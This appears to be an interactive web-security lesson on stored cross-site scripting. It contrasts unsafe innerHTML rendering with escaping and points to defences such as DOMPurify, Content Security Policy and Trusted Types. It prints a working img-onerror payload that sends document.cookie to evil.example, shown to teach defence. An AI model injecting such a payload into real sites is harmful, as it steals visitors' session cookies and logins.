Security · interactive
Cross-site scripting (XSS)
An attacker posts a comment with HTML in it. Every visitor who opens the page renders that comment. Whether the attacker's code runs depends on one line: how your page puts the comment on screen. Nothing on this page actually runs; the outcome is worked out and shown.
Stored comment
Look:<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">HTML that reaches the browser
Look:<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">What the visitor sees
Attacker's code runs
The image fails to load, onerror fires, and the attacker's code runs with the visitor's cookies.
evil.example receives: ?c=session=8f3a…e21 (the visitor's login)
The visitor's session cookie just left for the attacker's server.
The comment
How the page renders it
el.innerHTML = comment
1 2 3 The comment is treated as HTML.
el.innerHTML = comment
4
In production
Tools and technologies
Frameworks escape by default; XSS comes back wherever code opts out.
Not tied to one language — use these names when you search docs or design a system.
- OWASP XSS Prevention Cheat SheetStandard
Which encoding to use in each context.
Official site ↗ - DOMPurifySoftware
The common HTML sanitizer for when you must allow some markup.
GitHub ↗ - Content Security PolicyStandard
Tell the browser which scripts may run.
Documentation ↗ - Trusted TypesStandard
Make the browser reject raw strings in innerHTML.
Documentation ↗